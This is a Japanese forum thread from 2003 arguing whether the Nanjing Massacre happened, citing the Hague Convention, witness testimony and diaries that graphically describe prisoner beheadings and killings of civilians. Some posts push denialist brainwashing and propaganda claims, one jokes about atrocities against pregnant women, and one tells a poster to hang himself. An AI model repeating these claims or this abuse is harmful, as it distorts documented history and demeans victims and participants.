> 自分の過去の「不良ぶり」を「自慢げに」話したりする事はよくありますけど、
> そういう事も知らずに「心理的には」とか言ってるんですか?
> もう少し人生勉強とか人間観察とかした方がいいと思いますけど。
  
 そりゃあ,飲み屋のほら話ならするかもな。しかしなあ,公刊される文書にそんなこと書く奴がいると
思うか?いるとして,いったいどれくらいだと思う。
 「俺は犬畜生でした。私は,戦争中日本が占領していることを良いことに,中国人の女を襲いまくりました。
やあ,いい思いしました。」,公刊物や,公衆の面前で,こんな嘘をつく奴がいると思うか。
 それにな,若い頃の無茶話の多くは,けんかのたぐいだよ。そういう意味で「硬派」の話だ。弱いものいじめ
したことを嘘で告白するおじさんは,まずいないな。
 犯罪者も,俺のテリトリーだ。元やくざの話も良く聞くよ。不良自慢もな,やっぱり俺はかっこよかったの一
環なんだよ。人間の考察とは,君のレベルの2段くらい深いところにあるんだよ。


> そういう問題ではない。例えば、
>  否定派:「南京事件は無かった、虐殺強姦無かった、証言は皆ウソだ」
>  肯定派:「ソースは?」
>  否定派:「自分で調べろ」
> こういうやりとりも、あなたにとっては有効なんですか?
 
 全部嘘だと言うことを,論理的に証明してくださいというだけだよ。


587 :名無しかましてよかですか?:03/08/27 15:45 ID:zc7vSSu5
ついでだからもうひとだけ。

>> 最後の絞めとして、ヘーグ条約前文にある以下の言葉を再掲しておこう。
>> 「右条項は、軍事上の必要の許す限、努めて戦争の惨害を軽減するの希望を以て定められたるもの」

 >君の引用した前文の段落は,マルテンス条項として有名な条項だ。このマルテンス条項の意味するところは
>君の理解とは全く逆だ。軍事的な必要を考慮した上で,戦争の惨禍を軽減するために戦争法規を制定した。
>つまり,軍事的な必要はすでに検討済みなのだから,それにさらに軍事的な必要を持ち出すのは,軍事的必要
>と人道のバランスを崩すことになる。

軍事的な必要はケースバイケースで想像を絶する多種多様な場合
があるので、ハーグ法に既に盛り込まれているという222の主張は
暴論です。戦争というのはそんなに単純なものではないのです。

588 :356:03/08/27 15:48 ID:nzidZKm2
ハーグ陸戦法の前文

>右条規ハ、軍事上ノ必要ノ許ス限、努メテ戦争ノ惨害ヲ軽滅スルノ希望ヲ以テ定メラレタルモノニシテ、
>交戦者相互問ノ関係及人民トノ関係ニ於テ、交戦者ノ行動ノ一般ノ準縄タルヘキモノトス。

を引用して、
「だからこれは軍事的必要はすでに折り込まれた法なのだ、
 よって軍事的必要でこの法を破ってはいけない」
という説があるが、実はこの引用文、続きがある。

>但シ、実際ニ起ル一切ノ場合ニ普ク適用スヘキ規定ハ、此ノ際之ヲ協定シ置クコト能ハサリシト雖、明文ナキノ故ヲ以テ、
>規定セラレサル総テノ場合ヲ軍隊指揮者ノ檀断ニ委スルハ、亦締約国ノ意思ニ非サリシナリ。
>一層完備シタル戦争法規ニ関スル法典ノ制定セラルルニ至ル迄ハ、締約国ハ、其ノ採用シタル条規ニ含マレサル場合ニ於テモ、
>人民及交戦者カ依然文明国ノ間ニ存立スル慣習、人道ノ法則及公共良心ノ要求ヨリ生スル国際法ノ原則ノ
>保護及支配ノ下ニ立ツコトヲ確認スルヲ以テ適当ト認ム。

ここで重要なのは
>実際ニ起ル一切ノ場合ニ普ク適用スヘキ規定ハ、此ノ際之ヲ協定シ置クコト能ハサリシ
つまり現実には現場のあらゆる状況に対して普遍的にこの法を適用する事はできない、
というような内容が含まれている。してみると、
「この法は軍事的必要を折り込んである」
という解釈はおかしい。もちろんその後に「そういう場合は人道や慣習に従え」と続いてはいるが、
少なくとも軍事的必要に対しては、この前文は何の説得力も無い。

ハーグ陸戦規約
http://www004.upp.so-net.ne.jp/teikoku-denmo/no_frame/history/kaisetsu/other/hague_rikusen.html
『戦数論』について(「北の狼」氏のページ)
http://www.interq.or.jp/sheep/clarex/jusinbello/jusinbello07.html

589 :222:03/08/27 15:51 ID:wHHTKoxZ
>>582
 混同させてはいないよ。繰り返すよ。平成13年3月に「生きている兵隊」が発禁になったという初歩の初歩
も知らなかった奴が,いいわけ的に「偕行社は知っていた」と言っても信用できない。
 信用できないが「少なくとも,南京戦記刊行の経緯を知らなかったことは間違いないだろう」そんなことも知
らないで,あんまり大言壮語を吐くなよ。
 以上が,私の言いたいこと。

>>583
 知らなかったといわれたから,知っていただろうというだけ。
>>585
 全文は,もっと長い。
 マルテンス条項の,前2文が根拠で,君の引用した文章が規範に当たる。良く引用されるのが規範の部分
なので,君が誤解しているだけだ。

http://members.tripod.co.jp/NankingMassacre/sougou/ko_hou/rikusen_j.html

590 :名無しかましてよかですか?:03/08/27 15:59 ID:nmExJFWy
>平成13年3月に「生きている兵隊」が発禁
えーと、昭和13年ですよね。横槍失礼。
この程度の誤植はよくあることです。

591 :222:03/08/27 16:00 ID:wHHTKoxZ
>>586
 だから,ど素人の文章持ってきてどうする。

国際法辞典(有斐閣 72ページ)

 (前略)
 第1次世界大戦前に主としてドイツの学者によって唱えられた考え方ではあるが,
戦争法は,そうした必要をすでに組み込んだものであり,乱用を正当づけるための
口実として施用されるおそれがあるとして批判が多い。


 ちゃんとマルテンス条項の理由に沿って解釈されているだろう。

592 :222:03/08/27 16:04 ID:wHHTKoxZ
>>588
 いつもの,タイプミス。すまん。

593 :356:03/08/27 16:05 ID:nzidZKm2
>>584
>全く意味不明だね。こんな理屈で信用性が否定できるなら,何の法的制裁もない南京事件
>はなかったと証言する元軍人の供述など鼻を引っかけなくても良くなる。

つまりリンク先に対して論理的な反論はできない、と解釈してよろしいですね?
意味不明って言いさえすれば相手の言い分を却下できるとでも思ってますか?
じゃあ私は、あなたの発言全てが意味不明ですね(笑)

>マギーは神父だよ。天地神明に誓って嘘はつかないという奴だ。

あのー・・・こんな事しか根拠にできないのですか?だんだん疲れてきました。

>人間動機がなければ嘘はつかない。ベーツも,マギーも,ほかにもいたな。何だっけ忘れた。
>第三国人(この場合当事者国ではない国の人という意味)が,嘘をつく動機がないんだよ。

東京裁判での証言ですよ?アメリカ人は第三国人じゃないでしょう?

>偽証罪の制裁がない=信用できないではない。

リンク先に書かれていたのはそれ(偽証罪)だけじゃないでしょう?

>俺の言い分がもっともなら,君が逃げたと思うだけだ。

おいおい、「ソース出せ」っていってるだけなのに逃げた事になるのかYo!
だんだん某スレの某恵也みたいなレベルになってきたな(笑)

594 :356:03/08/27 16:14 ID:nzidZKm2
>>586
> そりゃあ,飲み屋のほら話ならするかもな。しかしなあ,公刊される文書にそんなこと書く奴がいると
>思うか?いるとして,いったいどれくらいだと思う。
> 「俺は犬畜生でした。私は,戦争中日本が占領していることを良いことに,中国人の女を襲いまくりました。
>やあ,いい思いしました。」,公刊物や,公衆の面前で,こんな嘘をつく奴がいると思うか。

殺人に関しては、贖罪のつもりで告白する奴だっているだろう。全く不思議な話ではない。
強姦に限定して言うと、元兵士の「自分が強姦しました」という証言はいったいいくつある?
ほとんどの証言は「人がやってるのを見た」だろうが。

> それにな,若い頃の無茶話の多くは,けんかのたぐいだよ。そういう意味で「硬派」の話だ。弱いものいじめ
>したことを嘘で告白するおじさんは,まずいないな。

兵士の証言のほとんどは「捕虜処刑」であって「弱い者いじめ」とは全然違う。
君は言葉遊びを非難するくせに、なぜそうやって言葉のイメージすりかえを計るのだ?

 222がスリカエや印象操作をする
  ↓
 俺がつっこむ
  ↓
 222「言葉遊びするな」

「言葉遊び」の発端はお前なんだよ。いいかげん自覚しろ。

595 :356:03/08/27 16:18 ID:nzidZKm2
>>589
>混同させてはいないよ。繰り返すよ。平成13年3月に「生きている兵隊」が発禁になったという初歩の初歩
>も知らなかった奴が,いいわけ的に「偕行社は知っていた」と言っても信用できない。
> 信用できないが「少なくとも,南京戦記刊行の経緯を知らなかったことは間違いないだろう」そんなことも知
>らないで,あんまり大言壮語を吐くなよ。

・発禁の件にせよ偕行社にせよ、「知らなかった」はそちらの主観。
・そちらが信用しないのは勝手だが、議論に何の関係も無い。
・大言壮語が具体的に何を指すのか明示せよ。

それから余計だけどもう1つ。

・信用しないだの大言壮語吐くなだの言う前に>>379を読め(特に後半部)

596 :名無しかましてよかですか?:03/08/27 16:18 ID:BAZmGYWc
中島今朝吾日記
◇十二月十三日 天気晴朗

(略)

一、一昨夜第一線各隊の奮闘に対し聊か謝意を表する為南京攻略後の祝酒として携行せし酒を第一に追送分配したり

一、本日正午高山剣士来着す 時恰も
  捕虜七名あり 直に試斬を為さしむ
  小生の刀も亦此時彼をして試斬せしめ頚二つを見込(事)斬りたり

一、午後司令部は躍進して西山の麓にある郵便局に移り此処にて事後処理を為す

(以下略)

(「南京戦史資料集T」P218)



597 :356:03/08/27 16:24 ID:nzidZKm2
>>591
その引用文はおそらく戦数論に対する説明文か何かだと思うが、違うかな?
(前略って書いてるけど、略しすぎで何が書いてあるのか分からんぞ)
で、そこにマルテンスの「マ」の字も出てないのだが、
その引用文をもって、なぜ

>ちゃんとマルテンス条項の理由に沿って解釈されているだろう。

につながるのか、説明請う。

598 :名無しかましてよかですか?:03/08/27 16:29 ID:BAZmGYWc
朝香進一著「初年兵日記」 P140〜 1938年8月29日 
夕方、私たちの宿舎に九中隊の帰還兵が三名泊まりに来た。彼等はアゴヒゲを伸した中年男で、彼等の話によると中隊は張戴港を引き揚げ、
近日中に岳口へ移動して来ると言うのである。

 夜、私たちは帰還兵をかこんで体験談を聞くことにした。彼等は予備役で召集を受け上海戦、除州作戦に参加、大別山系の敵陣を突破し、
二ヵ月前に漢水沿岸に展開したと言うのである。戦争とは何だろうか? 私たちは興味と関心をもって彼たちの話に耳を傾けた。
 彼等は水筒の中からチャンチュウ(支那酒)を取り出し、ちびりちびり呑みながら語り出した。

「戦争は決してかっこうの良いものではない。狂気の沙汰であり、人前で話すこともはばかれることなんだ。お前たちは初年兵だから特に話すので。
他言は決してするな。ここだけの話にして聞き流してくれ・・・」と、前置きしながら、まず上海戦の模様についてこもごも話を進めた。
上海戦は苛烈なザンゴウ戦で、壕の中で敵と対峙し、鉄砲弾の弾幕のもと進むことも退くことも出来ず、二日二晩ヒザまでつかって戦闘を続けた。
壕の傍らに小さな穴を掘って用便を済まし、また壕の中の汚水を飲んだので多くの戦友がコレラを患い、死亡したと言うのである。

 南京攻略戦では、住民が反抗的態度に出たと言うので、「十里四方の住民全部を殺せ」という軍命令が出された。兵隊たちは村落を包囲し、手当り次第、住民を銃剣で突き殺した。
婦女子は特にむごい殺し方をした、と彼等は酔がまわるほどに手ぶり、身ぶりで、その状況を実演して見せるのである。その残酷さは目をおおわせるものがあった。

 夜半、帰還兵の一人、泣き上戸の彼が泣きわめきながら、

「許してくれ―おれのせいじゃないんだぞ―」と、暗いローソクのもとで半狂乱の姿をさらしていた。

 私はなかなか寝つかれなかった。それにしても妻子のある分別盛りの兵隊が、無差別に婦女子を殺害するなど信じられない気がした。もし、自分に「虐殺命令」が出された場合、どのような態度をとるべきか、私にはわからなかった。



599 :222:03/08/27 16:31 ID:wHHTKoxZ
>>356
 君は,本当に頭が悪いな。
>東京裁判での証言ですよ?アメリカ人は第三国人じゃないでしょう?

 なんで,アメリカ人が南京事件をでっち上げる必要があるの。別に,中国侵略は
南京事件と無関係に証明できる。南京事件をでっち上げる必要がアメリカにある
というのは,被害妄想だよ。
 陸戦法規違反の犯罪との関係では,明確にベーツも,マギーも偽証をする動機
がないし,第三国人だ。

>>偽証罪の制裁がない=信用できないではない。
>リンク先に書かれていたのはそれ(偽証罪)だけじゃないでしょう?
 なにか,伝聞法則か何かかね。別に伝聞法則は,人類普遍の原則じゃないよ。

 怠慢しないで,それこそ自分の文章で何が言いたいのか書いたらどうだ。
何を言いたいのか,察して書くのは疲れるぞ。

>俺の言い分がもっともなら,君が逃げたと思うだけだ。

 そりゃそうだろう。ソースを出せ,そんなことも知らないのか,いいからソースを出せ
,知らないならしらないといえよ。いいからソースを出せ。
こんなやりとりをみたら,誰だってそう思うだろう。ちゃんと書いてあるだろう。知らない
楢知らないと言えば教えてやると。

  


600 :222:03/08/27 16:41 ID:wHHTKoxZ
>>356
>殺人に関しては、贖罪のつもりで告白する奴だっているだろう。全く不思議な話ではない。
 悪いことやっているじゃんほら。

>強姦に限定して言うと、元兵士の「自分が強姦しました」という証言はいったいいくつある?
 確かに多くはない。これは,後で調べて引用しよう。
>ほとんどの証言は「人がやってるのを見た」だろうが。
 で,同僚の罪を暴くことが,そんなに楽しいことだと思うか?

> それにな,若い頃の無茶話の多くは,けんかのたぐいだよ。そういう意味で「硬派」の話だ。弱いものいじめ
>したことを嘘で告白するおじさんは,まずいないな。

兵士の証言のほとんどは「捕虜処刑」であって「弱い者いじめ」とは全然違う。
 捕虜の殺害は,名誉なことではないよ。というより弱いものいじめの最たるものだろうが。日本にはね,丸腰の
敵を殺さないという武士道という精神があってな。知らなかったかい。
 何かい,じいちゃんは,捕虜の並ばせて次から次に試し切りしたんだぞって,嘘をつきたいか。

601 :名無しかましてよかですか?:03/08/27 16:44 ID:BAZmGYWc
秦郁彦氏 1997年
「南京虐殺事件―数の考察」より 

 南京守備軍の兵力については、私は十万(台湾公式戦史、上海派遣軍参謀長の飯沼守少将日記)を採用、うち五万が戦死、三万が捕虜になったあと殺
害された(生存捕虜は一万)と推定している。南京戦に従軍した佐々木元勝(上海派遣軍郵便長)が、十二月十五日の日記に「俘虜はおよそ四万二千と
私は聞かされている」と書いていることにほぼ符合する。しかし、最近になって、孫宅巍(江蘇省現代史学会)と笠原教授は総兵力を十五万と見つもり、
うち八万〜十万が殺害されたと主張している。

 かりに兵士の死亡を十万とし、うち五万が戦死、五万を「不法殺害」として、中国の公式被害数である三十万から十万を差し引くと民間人二十万人が
「不法殺害」されたことになり、いかにも不自然である。また民間人二十万人が殺害されたことになると、南京安全区の避難民がほぼ消滅してしまうことになり、これまた不自然であろう。

 三十万を二十万に置きかえても、不自然さはあまり変わらない。兵士の「不法殺害」五万に対し、やはり二倍に当る民間人十万人が殺されたことになるからだ。

 犠牲者数を四〜六万とすれば、この種の矛盾は起きず、むりのない説明が可能である。情報源は明確でないが、中国共産軍の機関誌だった「抗敵報(付表No.1)も、安全区国際委員会のベーツ博士も、
ほぼ同じ数字を計上しているし、すでに述べたように委員会のラーベもヒトラーにあてた報告書で、やや多い五万〜六万(民間人)と推定している。

 東京裁判の判決は、中国検察官が提出した「四十三万」人を採用せず、「二十万以上」としたが、内訳で認めたのは兵士の五万と民間人一万二千、計六万二千人で、差数の十四万人については説明がない。
法廷は、証拠力がありそうな上限を六万二千人と判断したのではないか。

 東京裁判でも、松井大将に対する判決のほうは犠牲者数を十万としている。二十万人との食い違いが気になるが、法廷は十万人でも松井を死刑にするためには充分なので、数をつめる必要を認めなかったのかもしれない。

 (「現代史の光と影」P26〜P27)



602 :名無しかましてよかですか?:03/08/27 16:46 ID:5ekI0Q1X
>>600
どっかのページには、
中国人の妊婦を連れてきて。
腹を銃剣で突いて、「ぼん!」って言わせるのを楽しみにしてた日本兵がいた
とか、書いてあったが。
本当かどうかは知らんがね。w
次から次へと連れてきては、「ぼん!」って言わせてたそうな。w
むごいよね。


603 :222:03/08/27 16:54 ID:wHHTKoxZ

> >>591
> その引用文はおそらく戦数論に対する説明文か何かだと思うが、違うかな?
> (前略って書いてるけど、略しすぎで何が書いてあるのか分からんぞ)
> で、そこにマルテンスの「マ」の字も出てないのだが、
> その引用文をもって、なぜ
>
> >ちゃんとマルテンス条項の理由に沿って解釈されているだろう。
>
> につながるのか、説明請う。


時間がないので,簡単に
締約国の所見に依れは、右条規は、軍事上の必要の許す限、努めて戦争の惨害を軽減するの希望を以て定めら
れたるものにして、交戦者相互間の関係及人民との関係に於て、交戦者の行動の一般 の準縄たるへきものとす。

上記文章は,軍事上の必要を検討した上で陸戦規則を定めたと読む。

但シ、実際ニ起ル一切ノ場合ニ普ク適用スヘキ規定ハ、此ノ際之ヲ協定シ置クコト能ハサリシト雖、明文ナキノ故ヲ以テ、
>規定セラレサル総テノ場合ヲ軍隊指揮者ノ檀断ニ委スルハ、亦締約国ノ意思ニ非サリシナリ。

 この条約に規定がなくても何でもできるというわけではない(況や,規定があるのに従わないことができるはずがない
222の解釈)

是が,センスうろん否定の考え方と通じる。

604 :編集者:03/08/27 16:55 ID:IAQL/kgN
印象で話すとどうしようもないので
議題 ソース を正確に出してくださいませ。

と申しますか、だんだん疲れてきますな(w
個人の主観での判断は現状では不要です。
感想文もいりません。

議題は出揃ってきたので、ソース、証拠集めを
重視してください。
特にご自分が出された議題は他者へ主観抜きで説明できる程度は
よろしくです。そうでないと検証段階に移れません。
なにとぞよろしく>>ALL

605 :222:03/08/27 17:24 ID:wHHTKoxZ
 全く主題とは関係ない質問です。

ホットゾヌでこのスレッドをみると,あひゃウィルスの後からしか,みれなく番号も狂ってしまいます。
修正方法ありますか?

606 :名無しかましてよかですか?:03/08/27 17:30 ID:g01WhKLQ
 ■■■■■□□□□■□□□□□□□□□□□□□□□■□□□□□□□□□
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 □□□■■□□□□□□□□□□□□□□□□□□□□□

http://aa.2ch.net/test/read.cgi/aastory/1060688036/


607 :名無しかましてよかですか?:03/08/27 18:49 ID:IAQL/kgN
提案です

まず議題を提出する人を1人決めましょう。
その人がそれがいかに正当性があるか論述し終えるまで一切口をはさまないように
しましょう。

そのあとでその議題を検証するほうが効率的です。

いかがでしょうか?

608 :名無しかましてよかですか?:03/08/27 20:55 ID:HlN3s6sC
>580
>あと、鳩氏のHPの引用に関しては艦艇のDATAだけは少なくとも正確である事が
確認できました。

その議論の当事者として言わせてもらうが、

無茶苦茶を言わないで下さい。

609 :222:03/08/27 22:21 ID:PwH+eUDb
>>595
> ・発禁の件にせよ偕行社にせよ、「知らなかった」はそちらの主観。
 じゃあ何で,昭和13年3月に「生きている兵隊」が発禁になったのを知っていたのなら
「「生きている兵隊」は当時書かれた著書なんですか?へえー・・・」 なんてレスをしたの
か説得力のある説明をしてくれよ。俺のかってだろというきわめて「説得力」のある説明
でも良いからね。
 もうひとつ,なぜ,偕行社は知っていたと良いながら,南京戦史の出版の動機のソース
にこだわったんだい?ここも説得力ある説明を聞きたいところだね。

> ・そちらが信用しないのは勝手だが、議論に何の関係も無い。
 知らなかったことを,知ってたふりをする奴とまともに議論できると思うか?

> ・大言壮語が具体的に何を指すのか明示せよ。
 俺の記憶では,「親告罪」と法務官の訴追の関係にこだわったのは君じゃないのか。
覚え立ての親告罪で,人を煙に巻こうとしたが相手が悪かったな。
 君ではないというのなら,ここは,真摯に謝るよ。
 
> ・信用しないだの大言壮語吐くなだの言う前に>>379を読め(特に後半部)
 君の好きな言葉を使って,返事をしておこう。君の印象操作は失敗したから。全部答え
ただろう。その結果分かったこと。君は言葉遊びしかしていない。何か有益が議論を展開
したか。
以上
>>編集者
 私も,たぶん356そんなにカッカしていないよ。少なくとも,俺はギャラリーを楽しませるつ
もりで,またちょっと唐辛子をふりかけているくらいでね。
 愛想が尽きたと良いながらも,356にレスしていることからも,分かるだろう。
 そんなにはらはらしなくても,スレッドを壊すようなことはしない。
 もう一度,私のレスを良く読んで欲しい。強姦のところは,多少よけいな知識を振りまいて
しまったが,残りは事実や証拠の見方として否定派の諸君のよく使う誤解を解くためのものだ。


610 :356:03/08/28 10:18 ID:vujsDsaC
>>599
>なんで,アメリカ人が南京事件をでっち上げる必要があるの。

http://oyaji.room.ne.jp/~sam36/opinion/o_55.htm
まぁこのリンクに書いてある内容に限らず、
戦争する時に相手を悪魔化する情報戦は「常識」です。
日本だってそんな必要も無いのに「鬼畜米英」とか叫んでましたし。

また、「動機が無い」のと「第三国人である」のは関係ありません。
動機の有無に関係無く、当時の日本とアメリカは「敵国」です。

>別に伝聞法則は,人類普遍の原則じゃないよ。

「普遍の法則でない」=「この場合も適用されない」ではありません。

−−− ここから下は余談 −−−

>怠慢しないで,それこそ自分の文章で何が言いたいのか書いたらどうだ。

あなたのスリカエ戦法にまともに付き合ってると疲れるからです。
今回も上記の通り2つのスリカエが発覚しておりますので、こちらの返答も最小限にしました。

>こんなやりとりをみたら,誰だってそう思うだろう。

そうですか、ソース無しで伝聞を語る者にソース提出を要求すると
逃げた事になるのですね。さすがにあきれて声も出ません。
じゃあ今後もソース無しで発言し続けて下さい。
皆さん、222は一切の発言がソース無しだそうです、よろしく>ALL

611 :356:03/08/28 10:18 ID:vujsDsaC
>>600
>悪いことやっているじゃんほら。

そういう人もいるでしょう、というレベルの話ですが、それが何か。
全日本兵の中に1人でもヘンな事してたら南京事件なんでしょうか。
じゃあ今の日本も犯罪者だらけですから、毎日が「日本事件」ですね。

>で,同僚の罪を暴くことが,そんなに楽しいことだと思うか?

「同僚」=「親友」ではありません。
現代だって会社員が自分の会社や上司、ライバルなどに陰口叩いたり密告したりしてますが、
そういうのもあなた的には「同僚の罪を暴くことが(以下略)」と言いますか?

>捕虜の殺害は,名誉なことではないよ。というより弱いものいじめの最たるものだろうが。

捕虜処刑が問題になってるのは「裁判しなかった」からであり、人道に反してるからではありません。
処刑が弱いものいじめならば、この世のありとあらゆる刑罰は弱いものいじめです。

それから、あえて書かなかったんですが、やっぱり書きます。
戦後に証言してる元兵士の中には、中共の洗脳、GHQのWGIPなどによって
日本に不利な発言をするのが「得」になってる人も混ざってるはずです。

612 :356:03/08/28 10:18 ID:vujsDsaC
>>603
>この条約に規定がなくても何でもできるというわけではない

>>588にはそれも書いてますが、何か?

#つまり現実には現場のあらゆる状況に対して普遍的にこの法を適用する事はできない、
#というような内容が含まれている。
(中略)
#もちろんその後に「そういう場合は人道や慣習に従え」と続いてはいるが、
#少なくとも軍事的必要に対しては、この前文は何の説得力も無い。

↑下から2行目。

で、それに対する>>591はどういう意味ですか、と聞いてるんですが。

613 :356:03/08/28 10:34 ID:vujsDsaC
>>609
●「生きている兵隊」について
答え:知りませんでした。>>356

●「偕行社」について
答え:知っていました。>>361

●もともとあなたは何と聞いてきたか
答え:あなたは「偕行社」を知らないだろう、と聞いています。>>360

●なぜこういう議論になってるのか
答え:あなたが両者を混同しているから。>>582

●南京戦史の出版の動機のソースにこだわる理由
答え:それ「だけ」にこだわっていません。「事実」を語るならソース提出は「義務」です。
   にも関わらずあなたは常にソース無しで説得力皆無だから。>>358
   事実関係を語る上でなぜソースが必要なのかについては>>374

●まともに議論できるのか、について
答え:今現在まともな議論になってません。>>604

●大言壮語について
答え:法務官関連の議論について「あなたが答えてない状態」で終わっています。>>494
   それで「相手が悪かったな」と言われれば、違う意味でその通りです(笑)

●「全て答えただろう」について
答え:前述の通り全然答えてもらってません。>>494

●有益な議論が展開しない理由は何か
答え:上記の通り、全て原因はあなたです。

614 :356:03/08/28 10:35 ID:vujsDsaC
どーでもいいけど、これだけレス(と労力)を消費して、
いまだに全然議論が進んでない気がするのは俺だけか?
222の「スリカエ戦法ソース無し風味」に真面目に付き合いすぎなのか?
あれだけ言ってるのに、相変わらず都合の良いところにしか答えないし。

あとさ、いくら何でも変換間違い多すぎ>222
>知らない楢知らないと言えば教えてやると。
>是が,センスうろん否定の考え方と通じる
句読点や改行もバラバラで読みにくいし、
日本語が通じてないと思える時もあったし、もしかして外人か?
まぁ外人だからどうだ、って事でもないけど、
こっちがスリカエだと思ってる件も、実は会話が通じてないだけかも知れん、と思ってさ。

>>607
議論を整理させたい、という意図は分かりますが、
2ちゃんねるでそれは無理でしょう、参加者の性質上(笑)

615 :356:03/08/28 10:46 ID:vujsDsaC
最後に、もう一言加えてやるよ>222

>知らなかったことを,知ってたふりをする奴とまともに議論できると思うか?

まともな議論にならないと思うなら参加するな。
こっちは質問してはいるけど、別に答える事を強制などしてない。
答えないなら答えないでいい。ただ答えずに自己主張すんな。
論敵の罵倒や中傷しかできない香具師に、こっちも参加して欲しくない。
イヤなら来るな、誰も頼んでない。回線切って首吊って氏ね。
次のお前からのレスがまたくだらんものだったら、またスルー開始だ。
いいか、自己主張する前にやるべき事はちゃんとやれ。
でなければ、今後お前の発言は「無いもの」とする。


・・・いや、たまにはこっちにも罵倒させろ、と思って(笑)

616 :222:03/08/28 11:33 ID:GavZjzhQ
>>610
> >>599
> >なんで,アメリカ人が南京事件をでっち上げる必要があるの。
> 戦争する時に相手を悪魔化する情報戦は「常識」です。
> 日本だってそんな必要も無いのに「鬼畜米英」とか叫んでましたし。
 だって戦争もう終わっているんだよ。終わっているのに何でそんな謀略をしなければ
いけないの?その謀略に何でナチス党員まで,加担しなければならないの。
 アメリカは,アウシュビッツをでっち上げたのかな?謀略で。君の言っていることは
そういうことだよ。
> また、「動機が無い」のと「第三国人である」のは関係ありません。
> 動機の有無に関係無く、当時の日本とアメリカは「敵国」です。
 敵国であろうとなかろうと,「戦争犯罪」を戦後でっち上げる必要がありますか?
当事国なら,損害賠償とか何とかあるかもしれませんがね。リスクが大きすぎるでしょう。
ばれたときに世論を考えてごらん。

> >別に伝聞法則は,人類普遍の原則じゃないよ。
> 「普遍の法則でない」=「この場合も適用されない」ではありません。
 この場合適用され内だよ。だって,連合軍の条例(だったよな)に伝聞法則を規定してい
ないんだから。その価値判断は,10年近くも前の戦争中の出来事であり,犯罪を犯した
軍が占領していたこと,他国での裁判であること,等を考えると,その判断は妥当だろう。
 君がしなければならないのは,なぜ伝聞法則がこの場合適用されなければならないのか
を説得的に説明することだ。
 
> そうですか、ソース無しで伝聞を語る者にソース提出を要求すると
> 逃げた事になるのですね。さすがにあきれて声も出ません。
> じゃあ今後もソース無しで発言し続けて下さい。
> 皆さん、222は一切の発言がソース無しだそうです、よろしく>ALL
 こういうのを印象操作というんだよ。
肝心の「「知らないなら知らないと言えば教えてやる」というところを抜くんだからね。


617 :356:03/08/28 11:51 ID:vujsDsaC
>>616
>だって戦争もう終わっているんだよ。終わっているのに何でそんな謀略をしなければ
>いけないの?その謀略に何でナチス党員まで,加担しなければならないの。
人にはさんざん「偕行社も知らんのか」とか言っておきながら
WGIPも知らないのでしょうか、この人は。
http://members.tripod.co.jp/WGIP/file/index_2.html
http://www.geocities.co.jp/Bookend-Shikibu/4206/gensen.html
いいですか、戦争というのは武力衝突のみを指す言葉ではありません。
情報戦というのは実際に戦う前から行われ、戦いが終わった後も続くのです。
だいたい「もう終わってるから」というのが理由であれば
東京裁判自体必要無いでしょうが。

>アメリカは,アウシュビッツをでっち上げたのかな?謀略で。君の言っていることは
>そういうことだよ。
議論の流れを無視しないでください。
もともとは「マギーやベイツは第三国人である」という主張から始まっているのです。
「アメリカ人は第三国人でない事の理由」としてこちらが挙げている内容を、
なぜアウシュビッツにつなげるのですか?またスリカエですか?

>この場合適用され内だよ。だって,連合軍の条例(だったよな)に伝聞法則を規定してい
>ないんだから。
法の話をしているんではなく、マギーやベイツの証言の信憑性について議論しているのです。
最初から「マギーやベイツは合法か違法か」という議論であれば、
当然こちらのも「合法です」と回答します。またスリカエですね?

618 :356:03/08/28 11:52 ID:vujsDsaC
続き>>616
>君がしなければならないのは,なぜ伝聞法則がこの場合適用されなければならないのか
>を説得的に説明することだ。
なぜですか?こちらは「マギーやベイツの証言は伝聞に過ぎない」という事を主張しているのであって、
「信憑性」についての議論ならそれで十分でしょう?
逆に聞きますが、あなたは「伝聞証言=全て真実」という考え方なのですか?

>こういうのを印象操作というんだよ。
>肝心の「「知らないなら知らないと言えば教えてやる」というところを抜くんだからね。
こちらは
#「主観」でなく「事実」を語る場合はソース提出が「義務」である
という主張をしています。
その主張に対し「知らないなら言えば教える」というのがなぜ「肝心」なのか理解に苦しみます。
あなたの言い逃れはもうたくさんです。早く回答してください。本当に疲れました。

619 :222:03/08/28 12:00 ID:GavZjzhQ
>>611
> >>600
> >悪いことやっているじゃんほら。
> そういう人もいるでしょう、というレベルの話ですが、それが何か。
> 全日本兵の中に1人でもヘンな事してたら南京事件なんでしょうか。
> じゃあ今の日本も犯罪者だらけですから、毎日が「日本事件」ですね。
???贖罪で加害証言をした人は,自分のことだけ話しているの。違うでしょ。
加害証言は全部,自分の行為を告白するとともにそれが自分だけのことでは
なかったことも証言しているだろう。何かい贖罪の気持ちで,ありもしない同僚
の犯罪も告発したってか?説得力ないねえ。
 加害告白する人たちは,皆さん「贖罪」の気持ちからだよ。それにな,読んで
ごらん。何もしていないと嘘をつくのは簡単だが,やってもいないことを読者に
納得させるような上手な嘘をつくのは難しいよ。

> >で,同僚の罪を暴くことが,そんなに楽しいことだと思うか?
> 「同僚」=「親友」ではありません。
> 現代だって会社員が自分の会社や上司、ライバルなどに陰口叩いたり密告したりしてますが、
> そういうのもあなた的には「同僚の罪を暴くことが(以下略)」と言いますか?
 陰口密告ですか?最近は,内部告発と表現することが多いんですがね。
 陰口と密告を匿名でして何か意味ありますか?「一緒にいた兵隊の中には」程度でどうやって
特定の人の陰口になるんですか?出版物に乗せたり,集会で発言することが,陰口や密告に
当たるんですか?


620 :222:03/08/28 12:07 ID:GavZjzhQ
>>611
> >捕虜の殺害は,名誉なことではないよ。というより弱いものいじめの最たるものだろうが。
>
> 捕虜処刑が問題になってるのは「裁判しなかった」からであり、人道に反してるからではありません。
> 処刑が弱いものいじめならば、この世のありとあらゆる刑罰は弱いものいじめです。
>
> それから、あえて書かなかったんですが、やっぱり書きます。
> 戦後に証言してる元兵士の中には、中共の洗脳、GHQのWGIPなどによって
> 日本に不利な発言をするのが「得」になってる人も混ざってるはずです。
 ほらでた。結局これじゃないか。洗脳論と謀略論。自分でも説得力がないと思って言わなかったんだろう。
あんまり,先輩たちを馬鹿にするんじゃないよ。

 具体的にどの証言が,中京の洗脳なんだ。GHQの利益誘導なんだ?具体的に示せよ。それ以外の証言は
どうして信用できないんだ。
 
 あのな,洗脳は環境から離れれば解けるものなの。今日の心理学では常識。心理学の西田先生の本や
浅見先生の本を読んでごらん。実例で言えば,有名なのはパトリシアハーストだね。
洗脳が解けて,加害告白を撤回した人の割合はどのくらいだ。そしてその中で,自己弁護のために加害告白
を撤回した人がいないという検討はしたのかな。


621 :356:03/08/28 12:07 ID:vujsDsaC
>222氏
●ソース無し議論について
